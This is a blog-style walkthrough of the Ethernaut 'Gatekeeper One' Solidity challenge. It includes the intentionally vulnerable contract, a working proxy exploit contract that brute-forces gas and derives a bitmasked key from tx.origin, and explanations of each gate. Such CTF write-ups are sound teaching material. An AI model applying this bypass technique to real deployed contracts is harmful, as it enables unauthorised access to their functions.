Gatekeeper One - Level 13
Tags: 100daystooffload, ethernaut, solidity, ethereum
Published: 2024-05-15 19:23:50

## Problem statement

Make it past the gatekeeper and register as an entrant to pass this level.

Things that might help:
* Remember what you've learned from the Telephone and Token levels.
* You can learn more about the special function `gasleft()`, in Solidity's documentation (see [here](https://docs.soliditylang.org/en/v0.8.3/units-and-global-variables.html) and [here](https://docs.soliditylang.org/en/v0.8.3/control-structures.html#external-function-calls)).

```js
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
        require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}
```

## Solution

Start with creating a new contract for the current level by clicking on the button, `Get new instance`. Remember to have enough eth in the connected wallet and that it's connected to the Sepolia network.

Open up the developer tool in your browser (F12) and get the contract address, by executing this code in the console window.

```javascript
await contract.address
```

And keep the address available for a later step.

Open a new tab in your browser (Ctrl+t) and go to [Remix](https://remix.ethereum.org/). In Remix, create a new file and name it `GatekeeperOneProxy.sol`, and add the following Solidity code to it.

```javascript
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface GatekeeperOne {
  function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperOneProxy {
  event GasNeeded(uint gas);

  function callEnter(address _address) external {
    bytes8 gateKey = bytes8(uint64(uint160(tx.origin)) & 0xFFFFFFFF0000FFFF);

    // Brute force
    for (uint256 i = 0; i < 8191; i++) {
        (bool success, ) = address(_address).call{gas: i + 30300}(abi.encodeWithSignature("enter(bytes8)", gateKey));
        if (success) {
            emit GasNeeded(i + 30300);
            return;
        } 
    }
  }
}
```

Go to the compiler and compile the `GatekeeperOneProxy` contract. 

![compile](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cihp3algqgp6o0vfnweq.png)

When the contract has been compiled without any errors it's possible to deploy it to the Sepolia network. This is done in the `DEPLOY & RUN TRANSACTIONS` view in Remix. Make sure to use the environment, `Injected Provider - MetaMask`. 

Click the button `Deploy` and sign the transaction with your wallet. Now it's time to use our contract.

Take the address from step one and paste it into the enter field right of the orange `callEnter` button.

![callEnter](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yx5x4i6g07hftldiupt8.png)

When the address is pasted, push the orange `callEnter` button and sign the transaction with your wallet.

After the transaction has been mined and the execution is succeeded, jump back to web page where we created the new instance of the `GatekeeperOne` contract. In the console window verify that the contract has updated its state accordingly.

```javascript
await contract.entrant()
```
If the outcome looks fine (the value is not 0x00000...), then finish the challenge by clicking the button, `Submit instance`, to commit and update the progress on the ethernaut contract.

## Explanation

There are three obstacles that we need to overcome in this problem. Each one is defined by a `modifier` function.

The first one.

```javascript
    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }
```

Has the same challenge as the problem statement in [Telephone - Level 04](url). The solution to this is to use a "proxy" contract to make our calls through.

* `tx.origin (address)`: sender of the transaction (full call chain)
* `msg.sender (address)`: sender of the message (current call)

The second modifier is more difficult.

```javascript
    modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        _;
    }
```

Here we need to understand `gasleft`, which is a built-in function that is used to check the remaining gas during a contract call. And also how we can provide and control the gas and ether for the call invocation.

This is how the solution looks like.

```javascript
    // Brute force
    for (uint256 i = 0; i < 8191; i++) {
        (bool success, ) = address(_address).call{gas: i + 30300}(abi.encodeWithSignature("enter(bytes8)", gateKey));
        if (success) {
            emit GasNeeded(i + 30300);
            return;
        } 
    }
```

Here we loop up to `8191` to increment the gas in each call to the `GatekeeperOne` contract until we pass the modifier. The `.call{gas: i + 30300}` is where we control the gas. There is a lot of magic numbers here, however the reason behind the number `30300` is the fact that I tried it out in the Remix environment and used the `Remix VM - Sepolia fork`. That's also the reason why the `emit` statement is included in the code.

The last modifier.

```javascript
    modifier gateThree(bytes8 _gateKey) {
        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
        require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
        _;
    }
```

This is a good opportunity to use [chisel](https://dev.to/stefanalfbo/foundry-chisel-ggl) to see how the type conversions are working. 

Lets illustrate what happens with `_gateKey` on the left side first.

![chisel left side](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wv32z3ecebbo846cwxjw.png)

This shows us that there will be a conversion loss, and we loose `FF`. If we do the same exercise for the right side of the equal sign.

![right side](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/e0ibhmu2skunc7bu51zz.png)

Here we loose even more bits. With this information we have the insights for doing the bit manipulation to pass the first `require` statement.

```javascript
bytes8 _gateKey = <value> & 0x0000FFFF;
```

Next up is part two.

![part two](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kpfylt1zkp6ekcc11io8.png)

There is no conversion loss here, however the first four bytes can't be equal to zero. Therefore we want to make sure that we don't mask away those values in the `_gateKey` variable since the left side conversion will turn them into zeros as seen earlier.

```javascript
bytes8 _gateKey = <value> & 0xFFFFFFFF0000FFFF
```

The third part indicates that our `_gateKey` should be based on the `tx.origin` variable. Let check how that last conversion behave in chisel.

![part three](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/roogh0lpg7vfrp60xc4i.png)

This one is similar to the first part, only the last two bytes are left, but it gives us the hint that our value should be the `tx.origin` variable.

```javascript
bytes8 gateKey = bytes8(uint64(uint160(tx.origin)) & 0xFFFFFFFF0000FFFF);
```

Now we have all the pieces to pass all the `modifier` functions and complete the hack.

This shows once again that is important to be aware of what happens when converting variables between different types in a contract.

## Resources

* [Gatekeeper One](https://ethernaut.openzeppelin.com/level/13) - This challenge
* [Remix](https://remix.ethereum.org/) - Web based IDE for Solidity
* [Solidity](https://docs.soliditylang.org/en/v0.8.21/) - Solidity documentation
* [web3.js](https://web3js.readthedocs.io/en/v1.2.6/index.html) - Ethereum JavaScript API documentation